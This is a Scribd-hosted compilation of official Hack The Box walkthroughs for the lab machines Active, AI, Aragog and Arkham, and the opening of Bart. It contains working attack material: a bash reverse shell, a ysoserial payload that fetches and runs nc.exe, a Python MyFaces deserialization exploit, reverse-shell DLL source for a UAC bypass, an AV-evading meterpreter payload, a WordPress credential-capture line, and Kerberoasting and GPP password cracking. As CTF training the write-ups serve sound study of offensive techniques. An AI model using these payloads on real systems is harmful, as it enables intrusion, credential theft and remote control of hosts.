0% found this document useful (0 votes)
119 views

HTB Walkthrough

The document outlines techniques for privilege escalation within an Active Directory environment using an easy to medium difficulty machine called Active. Key skills include SMB enumeration, Group Policy Preferences exploitation, and Kerberoasting to gain access to sensitive accounts. The document also describes a medium difficulty Linux machine called AI, which is vulnerable to SQL injection, allowing for SSH credential extraction and subsequent code execution as root through a misconfigured Tomcat application.

Uploaded by

MehraazSaam
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
119 views

HTB Walkthrough

The document outlines techniques for privilege escalation within an Active Directory environment using an easy to medium difficulty machine called Active. Key skills include SMB enumeration, Group Policy Preferences exploitation, and Kerberoasting to gain access to sensitive accounts. The document also describes a medium difficulty Linux machine called AI, which is vulnerable to SQL injection, allowing for SSH credential extraction and subsequent code execution as root through a misconfigured Tomcat application.

Uploaded by

MehraazSaam
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 644

Active

4​th​ December 2018 / Document No D18.100.30


Prepared By: egre55
Machine Author: eks & mrb3n
Difficulty: ​Easy
Classification: Official

Page 1 / 15
SYNOPSIS
Active is an easy to medium difficulty machine, which features two very prevalent techniques to
gain privileges within an Active Directory environment.

Skills Required Skills Learned

● Basic knowledge of Active Directory ● SMB enumeration techniques (courtesy


authentication and shared folders of IppSec Active video)
● Group Policy Preferences Groups.xml
enumeration and exploitation
● Identification and exploitation of
Kerberoastable accounts

Page 2 / 15
Enumeration

Nmap

masscan -p1-65535 10.10.10.100 --rate=1000 -e tun0 > ports


ports=$(cat ports | awk -F ​" "​ ​'{print $4}'​ | awk -F ​"/"​ ​'{print $1}'​ |
sort -n | tr ​'\n'​ ​','​ | sed ​'s/,$//'​)
nmap -Pn -sV -sC -p​$ports​ 10.10.10.100

Nmap reveals an Active Directory installation with a domain of “active.htb”. Microsoft DNS 6.1 is
running, which allows nmap to fingerprint the domain controller as Windows Server 2008 R2 SP1.
Port 445 is open and so it is worth running further nmap SMB scripts.

nmap --script safe -445 10.10.10.100

This reveals that SMB version 2 is running, and message signing is enabled and required for any
clients connecting to it, which prevents SMB Relay attacks.

Page 3 / 15
File Shares

smbclient can now be used to enumerate any available file shares.

The only share it is possible to access with anonymous credentials is the “Replication” share,
which seems to be a copy of SYSVOL. This is potentially interesting from a privilege escalation
perspective as Group Policies (and Group Policy Preferences) are stored in the SYSVOL share,
which is world-readable to authenticated users.

In the Active video, IppSec shows different ways of extracting the Groups.xml file from Linux.

smbclient with with RECURSE set to ON

Page 4 / 15
smbmap, which allows for the Groups.xml files to be targeted

mount, which allows for more powerful enumeration

sudo apt-get install cifs-utils


mkdir /mnt/Replication
mount -t cifs //10.10.10.100/Replication /mnt/Replication -o
username=<username>,password=<password>,domain=active.htb
grep -R password /mnt/Replication/

Page 5 / 15
Group Policy Preferences

Group Policy Preferences (GPP) was introduced in Windows Server 2008, and among many other
features, allowed administrators to modify users and groups across their network.

An example use case is where a company’s gold image had a weak local administrator password,
and administrators wanted to retrospectively set it to something stronger. The defined password
was AES-256 encrypted and stored in Groups.xml. However, at some point in 2012 Microsoft
published the AES key on MSDN, meaning that passwords set using GPP are now trivial to crack
and considered low hanging fruit.

The downloaded Groups.xml file is inspected and the encrypted password is immediately
decrypted using gpp-decrypt.

The domain account SVC_TGS has the password ​GPPstillStandingStrong2k18

Page 6 / 15
Authenticated Enumeration

With valid credentials for the active.htb domain, further enumeration can be undertaken. The
SYSVOL and Users shares are now accessible and the user.txt flag can be retrieved.

ldapsearch can be used to query the Domain Controller for Active Directory UserAccountControl
attributes of active accounts, and for other specific configurations that might be applied to them.
A number of UserAccountControl attributes also have security relevance. The Microsoft page
below lists the possible UserAccountControl values.

https://support.microsoft.com/en-gb/help/305144/how-to-use-the-useraccountcontrol-flags-to-ma
nipulate-user-account-pro

The value of “2” corresponds to a disabled account status, and so the query below will return
active users (by sAMAccountName / username) in the active.htb domain.

ldapsearch -x -h 10.10.10.100 -p 389 -D ​'SVC_TGS'​ -w ​'GPPstillStandingStrong2k18'


-b ​"dc=active,dc=htb"​ -s sub
"(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.
4.803:=2)))"​ samaccountname | grep sAMAccountName

Page 7 / 15
Impacket’s GetADUsers.py simplifies the process of enumerating domain user accounts.

Page 8 / 15
Exploitation

Kerberoasting

Kerberos Authentication and Service Principal Names

Another common technique of gaining privileges within an Active Directory Domain is


“Kerberoasting”, which is an offensive technique created by Tim Medin and revealed at
DerbyCon 2014.

Kerberoasting involves extracting a hash of the encrypted material from a Kerberos “Ticket
Granting Service” ticket reply (TGS_REP), which can be subjected to offline cracking in order to
retrieve the plaintext password. This is possible because the TGS_REP is encrypted using the
NTLM password hash of the account in whose context the service instance is running. Figure 1
shows the Kerberos authentication process when interacting with a service instance.

Figure 1. Kerberos Authentication Process, based on ​https://adsecurity.com?p=2293

Page 9 / 15
Managed service accounts mitigate this risk, due to the complexity of their passwords, but they
are not in active use in many environments. It is worth noting that shutting down the server
hosting the service doesn’t mitigate, as the attack doesn’t involve communication with target
service. It is therefore important to regularly audit the purpose and privilege of all enabled
accounts.

Kerberos authentication uses Service Principal Names (SPNs) to identify the account associated
with a particular service instance. ldapsearch can be used to identify accounts that are
configured with SPNs.

Identification of configured SPNs and extraction of hash

ldapsearch -x -h 10.10.10.100 -p 389 -D ​'SVC_TGS'​ -w


'GPPstillStandingStrong2k18'​ -b ​"dc=active,dc=htb"​ -s sub
"(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.1
13556.1.4.803:=2))(serviceprincipalname=*/*))"​ serviceprincipalname | grep
-B 1 servicePrincipalName

It seems that the active\Administrator account has been configured with a SPN.

Impacket’s GetUserSPNs.py again simplifies this process, and is also able to request the TGS and
extract the hash for offline cracking.

Page 10 / 15
Cracking of Kerberos TGS Hash

The hash cracks easily with hashcat and john, and the active\administrator password of
Ticketmaster1968​ is obtained.

/opt/hashcat/hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt


--force --potfile-disable

Page 11 / 15
Shell as Primary Domain Admin

Impacket’s wmiexec.py can be used to get a shell as active\administrator, and gain root.txt.

Page 12 / 15
Bonus: The “Old School” Kerberoasting Technique

There are many ways of kerberoasting from Windows and Linux, and Tim Medin’s original
Kerberoasting technique is replicated below, which leverages functionality in Benjamin Delpy’s
Mimikatz to export the Kerberos tickets.

Tim Medin’s “kerberoast” repo (below) has been used as reference.


https://github.com/nidem/kerberoast

From a domain joined computer, available SPNs and associated accounts can be enumerated
using the Windows built-in utility setspn.exe.

setspn.exe -T active.htb -F -Q */*

Page 13 / 15
The tickets are then requested and extracted from RAM.

Add-Type​ -AssemblyName System.IdentityModel


New-Object​ System.IdentityModel.Tokens.KerberosRequestorSecurityToken
-ArgumentList ​"active/CIFS:445"

The .kirbi Kerberos tickets can be collected in a zip file before transferring (PowerShell 3.0+).

Add-Type​ -Assembly ​"System.IO.Compression.FileSystem"


[System.IO.Compression.ZipFile]::CreateFromDirectory(​"c:\temp\kirbi\"​,
"c:\temp\kirbi.zip"​)

Page 14 / 15
kirbi2john.py (based on Tim Medin’s script) is used to extract the hashes from kirbi files. The
Jumbo version of John the Ripper cracks the hash quickly.

/opt/JohnTheRipper/run/kirbi2john.py
1-40a00000-svc_tgs@active~CIFS~445-ACTIVE.HTB.kirbi > hashes.txt
/opt/JohnTheRipper/run/john --format:krb5tgs hashes.txt
--wordlist=/usr/share/wordlists/rockyou.txt

The venerable sysadmin tool psexec.exe is used to get a shell as SYSTEM using the gained
Domain Admin credentials.

Page 15 / 15
AI
23rd January 2019 / Document No D19.100.55

Prepared By: MinatoTW

Machine Author(s): MrR3boot

Difficulty: Medium

Classification: Official
Synopsis
AI is a medium difficulty Linux machine running a speech recognition service on Apache. This
service is found to be vulnerable to SQL injection and is exploited with audio files. The injection is
leveraged to gain SSH credentials for a user. Enumeration of running processes yields a Tomcat
application running on localhost, which has debugging enabled. This port is forwarded and
exploited to gain code execution as root.

Skills Required
Enumeration
SQL Injection
Java Classes

Skills Learned
Debugging with JDWP
Speech to Text
Enumeration
Nmap

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.163 | grep ^[0-9] | cut -d '/' -f


1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.163

SSH and Apache are found to be running on their usual ports.

Apache
Browsing to port 80, a website titled "Artificial Intelligence" is seen.

The about page states that the developers are working on a voice recognition platform. Browsing
to the AI page reveals an upload page for wav files.
Trying to upload a normal test file returns the following output.

Gobuster
Let's enumerate files and folders on the server using gobuster.

Apart from the already known files, we discover intelligence.php and db.php , as well as a
folder named uploads . Browsing to db.php returns an empty page, however,
intelligence.php contains the following table.
The table contains information about various inputs and their corresponding AI outputs. It's
designed to convert normal speech as well as code snippets and special symbols. The footer
contains the following message.

Searching for Microsoft speech recognition, we come across this page. The page contains a
similar table with inputs and desired outputs. Let's try creating a wav file and uploading it to the
AI page. The text2wave utility from the festival package can be used for this.

Uploading the file ai.wav to the AI page results in the following output.

SQL Injection via file upload


The page was able to process the input text successfully. The Query result field as well as the
db.php page suggests that there might be some kind of DBMS involved during processing of the
input. Let's try injecting a quote into the input text. According to the Microsoft documentation,
the phrase Open single quote is translated to a quote.
Let's upload the file and check the output.

The input resulted in a SQL error and the backend database is found to be MySQL. Let's check if
we can balance the quote using comments. The # (Pound sign) symbol can be used to comment
out the rest of query in MySQL.

There's no error returned this time, which means that the quotes were balanced. We can create a
python script to automate the entire process.

#!/usr/bin/python3
import sys
import requests
import os
import re

def createWav(query):
query = query.replace("'", " open single quote ")
query = query.replace("#", " Pound sign ")
q = f'echo "{query}" | text2wave -o ai.wav'
#print(q)
os.system(f'echo "{query}" | text2wave -o ai.wav')
def sendWav():
url = "http://10.10.10.163/ai.php"
p = { 'http' : 'http://127.0.0.1:8080' }
files = { 'fileToUpload' : open('ai.wav', 'rb'), 'submit' : (None, 'Process
It!') }
resp = requests.post(url, files = files, proxies = p)
return resp.text

while True:
query = input("Enter query> ")
if query == 'exit':
sys.exit()
createWav(query)
resp = sendWav()
output = re.search("Query result : (.*)<h3>", resp)
q = re.search("Our understanding of your input is : (.*)<br />", resp)
print("Query: " + q.group(1))
print("Result : " + output.group(1))

The script takes in input, converts text to wave and then sends the file to the server. After
receiving the output, it prints the server's understanding and query. Let's try finding the number
of columns in the table using UNION based injection. From the intelligence page, we know that
the AI processes join as union .

' union select 'hello world'#


Foothold
We tried selecting the string hello world and the server returned it. This means that the table
has just one column in it. Trying to form the correct query to find the table name might be
complex and time consuming, as we would have to guess some table and column names. One
common table name is users. Let's see if this table exists and if we can find any username.

' union select username from users#

The server is unable to interpret our input properly. We can overcome this by adding pauses
between words using commas.

The injection worked and the first username is found to be alexa. Let's check if there's a
password associated with this user.

' union select password from users#

The password is returned as H,Sq9t6}a<)?q93_ . Logging in via SSH with these credentials is
successful.
Privilege Escalation
Looking at the processes running as root, we find Tomcat to be active.

We don't have permissions to view the Tomcat configuration or files. However, looking at the
command line flags, we see the following.

/usr/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat-
9.0.27/conf/logging.properties
-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -
Djdk.tls.ephemeralDHKeySize=2048
-Djava.protocol.handler.pkgs=org.apache.catalina.webresources
-Dorg.apache.catalina.security.SecurityListener.UMASK=0027
-agentlib:jdwp=transport=dt_socket,address=localhost:8000,server=y,suspend=n
<SNIP> start

The JDWP address is set to localhost:8000 and the server is enabled. JDWP stands for "Java
Debug Wire Protocol" and is used to remotely debug Java applications. The jdb utility can be used
to access this port and debug over it. We'll have to forward port 8000 from the box and then
connect to it.

The command above will forward port 8000 on our host to port 8000 on the box. Let's attach to it
using jdb.

Java provides a class named Runtime, which can be used to execute system level commands. But
before using it, we'll have to hit a breakpoint when tomcat is executing. We can set a breakpoint
using the stop command in jdb. Looking at the javax class documentation, it's seen that the
init() method is called when the Tomcat servlet starts up. Let's add a breakpoint on that
method.
This breakpoint should be hit after a while, when the server initializes.

We can use the Runtime.exec() method to execute code now. Let's try touching a file named
/tmp/proof .

Going back to the SSH session, the file is found in /tmp .

Let's try executing a bash reverse shell next. Create a file the following contents, make it
executable and place it in the /tmp folder.

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.12/4444 0>&1

Execute it when the breakpoint is hit.

A shell as root should be received on the listener.


Aragog
21​st​ July 2018 / Document No D18.100.12
Prepared By: Alexander Reid (Arrexel)
Machine Author: egre55
Difficulty: ​Medium
Classification: Official

Page 1 / 7
SYNOPSIS
Aragog is not overly challenging, however it touches on several common real-world
vulnerabilities, techniques and misconfigurations.

Skills Required Skills Learned

● Intermediate knowledge of Linux ● Exploiting XML External Entities


● Enumerating files through XXE
● Exploiting weak file permissions

Page 2 / 7
Enumeration

Nmap

Nmap reveals vsftpd (which has anonymous login enabled), OpenSSH and Apache.

Page 3 / 7
Dirbuster

Dirbuster finds only a ​hosts.php​ file.

Page 4 / 7
Exploitation

XML External Entities

Attempting to connect to FTP reveals only a ​test.txt​ file which contains some basic XML.

Sending the XML in a POST request to ​hosts.php​ results in some different output.

Using this, it is trivial to craft a request that abuses external entities to read files on the system.

Page 5 / 7
After obtaining ​/etc/passwd​ through the XXE vulnerability, two home directories are discovered;
florian​ and ​cliff​. As OpenSSH is explicitly set to allow only publickey authentication, it can be
taken as a hint that the private key may be left on the machine. The path is easy to guess, but it
can be brute forced with a simple script.

Page 6 / 7
Privilege Escalation

Web Server Write Access

Automated enumeration tools are not necessary to find the correct escalation vector in this case.
As this is a CTF system, any type of user interaction must be automated. Running ​ps aux​ reveals
a ​whoopsie​ user running ​/usr/bin/whoopsie​. This binary can be reverse engineered (much more
challenging) to obtain the SUDO password. The purpose of this binary is to simulate a user
logging into the Wordpress installation at ​http://aragog/dev_wiki

Since the entire ​/var/www/html​ directory is chmod 777, it is possible to modify ​wp-login.php​ to
capture any supplied credentials. The login credentials are sent in ​$_POST[‘log’] ​and
$_POST[‘pwd’]​. Simple adding the following line after the <?php tag is enough.

file_put_contents("creds.txt",$_POST['log']." - ".$_POST['pwd']);

Reusing the Wordpress password with ​su​ will grant a root shell.

Page 7 / 7
Arkham
15​th​ May 2019 / Document No D19.100.30
Prepared By: MinatoTW
Machine Author: MinatoTW
Difficulty: ​Medium
Classification: Official

Page 1 / 22
SYNOPSIS
Arkham is a medium difficulty Windows box which needs knowledge about encryption, java
deserialization and Windows exploitation. A disk image present in an open share is found which
is a LUKS encrypted disk. The disk is cracked to obtain configuration files. The Apache MyFaces
page running on tomcat is vulnerable to deserialization but the viewstate needs to encrypted.
After establishing a foothold an Outlook OST file is found, which contains a screenshot with a
password. The user is found to be in the Administrators group, and a UAC bypass can be
performed to gain a SYSTEM shell.

Skills Required Skills Learned

● Enumeration ● Java Deserialization


● Scripting ● UAC bypass
● Basic Cryptography

Page 2 / 22
ENUMERATION

NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.130 | grep ^[0-9] | cut -d
'/'​ -f 1 | tr ​'\n'​ ​','​ | sed s/,$//)
nmap -p​$ports​ -sC -sV -T4 10.10.10.130

IIS is running on port 80 along with SMB and Apache tomcat at their respective ports.

Page 3 / 22
SMB
Lets use smbclient to bind with a null session to list open shares.

smbclient -N -L \\\\10.10.10.130

We find a share named BatShare, connect to it and list the contents.

smbclient -N \\\\10.10.10.130\\BatShare

As the file is large in size, we’ll mount the share and then copy the file.

mount -t cifs -o rw,username=guest,password= ​'//10.10.10.130/BatShare'​ /mnt


cp /mnt/appserver.zip .

And then unzip it to view the contents.

unzip appserver.zip

Page 4 / 22
CRACKING THE DISK IMAGE
After extracting the zip we find a note which says the backup image is from a Linux server and a
backup image. Running "file" on the image says that it’s a LUKS encrypted disk, which is possible
to crack.

Follow these steps to crack the disk.

cryptsetup luksDump backup.img | grep ​"Payload offset"​ ​# Add 1 to the


result
dd ​if​=backup.img of=header bs=512 count=4097
hashcat -m 14600 -a 0 -w 3 header rockyou.txt

It could take a while to crack. Once done the password is found to be “batmanforever”.

Now we need to open and mount the disk.

cryptsetup luksOpen backup.img dump ​# Pass is batmanforever


mount /dev/mapper/dump /mnt

After mounting we find some images and tomcat configuration files which can be useful later.

Page 5 / 22
APACHE TOMCAT

Navigating to port 8080 we find a normal blog.

Most of the options seem useless however clicking on subscription takes us to another page
http://10.10.10.130:8080/userSubscribe.faces​.

The page extension suggests that it’s an Apache MyFaces installation. A google search about
Apache MyFaces vulnerabilities shows an RCE exists in it due to insecure deserialization of JSF
viewstates ​here​. Viewing the source of the page, we see that javax ViewState is present.

Page 6 / 22
EXPLOITING DESERIALIZATION

Going back to the tomcat configuration files we found earlier it’s seen that the page uses
encrypted viewstates from the web.xml.bak file.

<​description​>State saving method: 'client' or 'server' (=default). See JSF


Specification 2.5.2</​description​>
<​param-name​>javax.faces.STATE_SAVING_METHOD</​param-name​>
<​param-value​>server</​param-value​>
</​context-param​>
<​context-param​>
<​param-name​>org.apache.myfaces.SECRET</​param-name​>
<​param-value​>SnNGOTg3Ni0=</​param-value​>
</​context-param​>
<​context-param​>
<​param-name​>org.apache.myfaces.MAC_ALGORITHM</​param-name​>
<​param-value​>HmacSHA1</​param-value​>
</​context-param​>
<​context-param​>
<​param-name​>org.apache.myfaces.MAC_SECRET</​param-name​>
<​param-value​>SnNGOTg3Ni0=</​param-value​>
</​context-param​>
<​context-param​>
<​description​>

It’s also seen that the viewstate is saved on the server side. So, we’ll have to create a malicious
viewstate and then encrypt it using the parameters we already have.

CREATING SERIALIZED PAYLOAD

Ysoserial​ is a tool used to create malicious serialized payloads. Download the jar from JitPack,
make sure you have openjdk-8 installed.

apt install openjdk-8-jdk

Page 7 / 22
wget
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-m
aster-SNAPSHOT.jar
java -jar ysoserial-master-SNAPSHOT.jar

We have a lot of payloads but let’s go with the common ones i.e CommonsCollections. Lets see if
we can ping ourselves first.

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 ​'cmd /c ping -n


2 10.10.16.32'​ > payload.bin

In order to encrypt the payload we’ll use python. The ​documentation​ says the default encoding is
DES with PKCS5 padding if not specified. We’ll use pyDes to create the payload.

pip install pyDes

The following lines will encrypt our payload,

key= bytes(​'SnNGOTg3Ni0='​).decode(​'base64'​) ​# The secret key

obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)


enc = obj.encrypt(payload) ​# Encrypting with DES from
https://wiki.apache.org/myfaces/Secure_Your_Application

The key is from the config file we found earlier. We initialize the object with the key, ECB mode
and PKCS5 padding and then encrypt the payload.

Next we need to create the HMAC. The HMAC is used to verify the integrity of the message. It is
calculated and appended to the message, so that it can be verified when it is received. From the
config we know that the HMAC algorithm is SHA1 and the key is same as the encryption.

hash_val = (hmac.new(key, bytes(enc), sha1).digest()) ​# Calculating hmac


payload = enc + hash_val
payload_b64 = base64.b64encode(payload) ​# Creating final payload

The above snippet creates the SHA1 hash of the encrypted payload from earlier. Make sure to
use raw bytes and not hexdigest. Then it is base64 encoded to be sent.

Page 8 / 22
Here’s the final script,

#!/usr/bin/python

from​ requests ​import​ post, get


from​ bs4 i
​ mport​ BeautifulSoup
import​ sys
from​ urllib ​import​ urlencode,quote_plus
import​ pyDes
import​ base64
import​ hmac
from​ hashlib ​import​ sha1

url = ​'http://10.10.10.130:8080/userSubscribe.faces'

def​ g ​ etViewState( ​ ): ​# Finding if viewState exists or not


​ ry​:
t
request = get(url)
e​ xcept​:
print​ ​"Can't connect to the server"
sys.exit()
soup = BeautifulSoup(request.text, ​'html.parser') ​
viewState = soup.find(' ​ input'​, id='
​ javax.faces.ViewState'​)[​'value']

r ​ eturn​ viewState

def​ g​ etPayload​():
​ Creating a payload for commons-collections 3.1 from
#
https://github.com/frohoff/ysoserial
payload = open(' ​ payload.bin'​, '
​ rb')
​ .read()
r​ eturn​ payload.strip()

def​ e​ xploit(
​ ):
viewState = getViewState()
​ f​ viewState ​is​ N
i ​ one​:

Page 9 / 22
print​ ​"No viewState found"
​ lse​:
e
print​ ​"Viewstate found: {}".
​ format(viewState)

payload = getPayload()

key= bytes(​'SnNGOTg3Ni0=')
​ .decode('
​ base64'​) ​# The secret key

obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)


enc = obj.encrypt(payload) ​# Encrypting with DES from
https://wiki.apache.org/myfaces/Secure_Your_Application

hash_val = (hmac.new(key, bytes(enc), sha1).digest()) ​# Calculating hmac

payload = enc + hash_val

​ Creating final payload


payload_b64 = base64.b64encode(payload) #

​ rint​ ​"\n\n\nSending encoded payload: "+


p ​ payload_b64

headers = {
"Accept"​:
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"​,

"Connection"​: ​"keep-alive",​
"User-Agent"​: ​"Tomcat RCE", ​
"Content-Type"​: "​ application/x-www-form-urlencoded"}

execute = {​'javax.faces.ViewState':
​ payload_b64}
r = post(url, headers=headers, data=execute)

if​ __name__ == ​'__main__':



exploit()

The getViewState function just checks if the VIewState is present or not. The getPayload function
reads the payload from the file we created using ysoserial. Then encryption and hmac creation
takes place as discussed earlier. Then the payload is sent as a POST parameter for
javax.faces.ViewState.

Page 10 / 22
Running the script we see that our ping is returned.

Page 11 / 22
FOOTHOLD

Now that we have RCE lets use nc.exe to get a shell. Start a simple HTTP server and then create
the payload to download and execute it.

java -jar ysoserial.jar CommonsCollections5 ​'powershell wget


10.10.16.32/nc.exe -O C:\\Windows\\Temp\\pwn.exe && cmd /c
C:\\Windows\\Temp\\pwn.exe 10.10.16.32 443 -e powershell.exe'​ > payload.bin
python3 -m http.server ​80

And we get a shell as user Alfred.

Page 12 / 22
LATERAL MOVEMENT

ENUMERATION

While enumerating the file system we come across a zip file in the Downloads folder of the user.

Lets transfer it using the nc.exe we placed earlier.

certutil -encode backup.zip backup.b64


cat backup.b64 | cmd /c C:\windows\temp\pwn.exe ​10.10.16.32​ ​4444

And locally:

nc -lvp ​4444​ > backup.b64 #remove the certificate markers from top and
bottom
sed -i s/\n//g backup.b64 # remove new lines
base64 -d backup.b64 > backup.zip
unzip backup.zip

Page 13 / 22
Ignore the base64 error due to certutil padding. After unzipping we find the OST file.

An OST file is an offline folder file for Microsoft Outlook. It’s local copy of the user’s mailbox
which is stored in an email server such as Exchange. We can use readpst to open it up.

apt install pst-utils


readpst [email protected]

It finds one item in the Draft folder.

It creates an mbox file which can be opened using evolution or thunderbird.

apt install evolution


evolution Drafts.mbox

In there we find a screenshot containing a password from Batman.

Page 14 / 22
Using the credentials Batman / Zx^#QX+T!123 we can now login via WinRM.

$pass​ = ​convertto-securestring​ ​'Zx^#QZX+T!123'​ -asplain -force


$cred​ = ​new-object
system.management.automation.pscredential(​'arkham\batman'​, $ ​ pass​)
enter-pssession​ -computer arkham -credential ​$cred

And we are Batman!

Page 15 / 22
PRIVILEGE ESCALATION

ENUMERATION

We look at the user’s groups and find that he’s in the Administrators group.

So we’ll have to stage a UAC bypass to get a SYSTEM shell. Looking at systeminfo we see that
the OS is Windows server 19.

There can be many ways to do a UAC bypass but there’s one specific to Server 19 and more
guaranteed to work. According to ​https://egre55.github.io/system-properties-uac-bypass/ we can
bypass UAC through DLL hijacking via SystemPropertiesAdvanced.exe as it auto-elevates.

But as SystemPropertiesAdvanced is a GUI app we’ll need to be in session 1 to execute it as


PSRemoting uses session 0. So, we’ll get a meterpreter and migrate to a process in session 1.

Page 16 / 22
GETTING A METERPRETER

We’ll use ​GreatSCT​ to get a meterpreter as we need to bypass AV.

git clone https://github.com/GreatSCT/GreatSCT


cd GreatSCT/setup
sudo ./setup.sh -c
cd ..
./GreatSCT.py

Lets create a msbuild/meterpreter/rev_tcp.py payload as it’ll be easy to evade.

use ​1
list
use ​9
set lhost ​10.10​.​16.32
generate

Copy the payload.xml and start msf using the payload.rc file.

msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

Download the xml file onto the target and execute it using msbuild.

powershell wget ​10.10​.​16.32​/payload.xml -O payload.xml


cmd /c C:\Windows\Microsoft.NET\Framework\v4.​0.30319​\msbuild.exe
payload.xml

The process should hang and we should get a session.

Page 17 / 22
Now we need to migrate to a process in session 1. List all the processes using ps.

We see a svchost.exe process running as batman in session 1. Lets migrate to it.

Note: Incase the migration fails kill the session and try again. It might take 4 -5 attempts to
succeed.

DLL HIJACKING
Now that we have a shell in session 1 we just need to create a malicious DLL and place it in the
WindowsApps folder to get it executed. Here’s a sample DLL,

#include ​<winsock2.h>
#include ​<windows.h>
#include ​<stdio.h>
#include ​<ws2tcpip.h>

#define DEFAULT_BUFLEN 1024

void​ ​ExecutePayload​(​void​);

Page 18 / 22
BOOL WINAPI
DllMain​ (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch​ (dwReason)
{
case​ DLL_PROCESS_ATTACH:
ExecutePayload();
break​;

case​ DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break​;

case​ DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's
lifetime
break​;

case​ DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break​;

}
return​ TRUE;
}

void​ ​ExecutePayload​(​void​) {
Sleep(​1000​); // 1000 = One Second

SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(​2​,​2​), &version);
mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, ​NULL​, (​unsigned
int​)​NULL​, (​unsigned​ ​int​)​NULL​);

Page 19 / 22
addr.sin_family = AF_INET;

addr.sin_addr.s_addr = inet_addr(​"10.10.16.32"​);
addr.sin_port = htons(​4443​);
//Connecting to Proxy/ProxyIP/C2Host
if​ (WSAConnect(mySocket, (SOCKADDR*)&addr, ​sizeof​(addr), ​NULL​, ​NULL​,
NULL​, ​NULL​)==SOCKET_ERROR) {
closesocket(mySocket);
WSACleanup();
}
else​ {
char​ RecvData[DEFAULT_BUFLEN];
memset​(RecvData, ​0​, ​sizeof​(RecvData));
int​ RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, ​0​);
if​ (RecvCode <= ​0​) {
closesocket(mySocket);
WSACleanup();
}
else​ {
char​ Process[] = ​"cmd.exe"​;
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset​(&sinfo, ​0​, ​sizeof​(sinfo));
sinfo.cb = ​sizeof​(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES |
STARTF_USESHOWWINDOW);

sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError =


(HANDLE) mySocket;

CreateProcess(​NULL​, Process, ​NULL​, N


​ ULL​, TRUE, ​0​, ​NULL​,
NULL​, &sinfo, &pinfo);

WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);

memset​(RecvData, ​0​, ​sizeof​(RecvData));


int​ RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN,

Page 20 / 22
0​);

if​ (RecvCode <= ​0​) {


closesocket(mySocket);
WSACleanup();
}
if​ (​strcmp​(RecvData, ​"exit\n"​) == ​0​) {
exit​(​0​);
}
}
}
}

The DLL uses raw sockets to execute commands with cmd.exe and uses the sockets file
descriptors to send output and get input.

Compile it using mingw to a 32 bit DLL named srrstr.dll as that’s what the binary looks for.

apt install mingw-64


i686-w64-mingw32-g++ pwn.cpp -lws2_32 -o srrstr.dll -shared

When done upload it to the windowsapps folder as suggested by the article.

cd​ C:\Users\Batman\AppData\Local\Microsoft\WindowsApps
upload srrstr.dll

Once uploaded execute the binary C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe or


any other SystemProperties* binary.

cmd /c C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

Page 21 / 22
We get a shell as batman, but however we have more privileges now.

And we can move into the Administrator folder to read the flag.

Page 22 / 22
Bart
14​th​ July 2018 / Document No D18.100.11
Prepared By: Alexander Reid (Arrexel)
Machine Author: mrh4sh
Difficulty: ​Hard
Classification: Official

Page 1 / 10
SYNOPSIS
Bart is a fairly realistic machine, mainly focusing on proper enumeration techniques. There are
several security policies in place which can increase the difficulty for those who are not familiar
with Windows environments.

Skills Required Skills Learned

● Intermediate knowledge of Windows ● Troubleshooting web fuzzing tools


● Knowledge of PowerShell or other ● Enumerating potential credential
methods for enumerating Windows combinations
● Enumerating subdomains
● Reviewing open source software for
changes and vulnerabilities
● Log poisoning
● Pass the hash technique without direct
network access to SMB

Page 2 / 10
Enumeration

Nmap

Nmap reveals only an IIS server running on the target.

Page 3 / 10
wfuzz

As there is a 200 response for most valid results, most common fuzzing tools are not very useful
here. Using wfuzz and hiding output with 158607 chars finds a ​monitor​ and ​forum​ directory.

Page 4 / 10
Users

Several names can be found on ​bart.htb/forum​, including ​Harvey Potter​ which can be found in a
commented out section of the source.

Page 5 / 10
Exploitation

Monitor

Using Burp Intruder or any similar tool, it is fairly simple to find valid credentials for the monitor
login page. A valid login (harvey:potter) will result in a redirect to ​monitor.bart.htb​, which must be
added to /etc/hosts.

Attempting to view the chat reveals the subdomain ​internal-01.bart.htb​.

Page 6 / 10
php-ajax-simple-chat

Source: ​https://github.com/magkopian/php-ajax-simple-chat

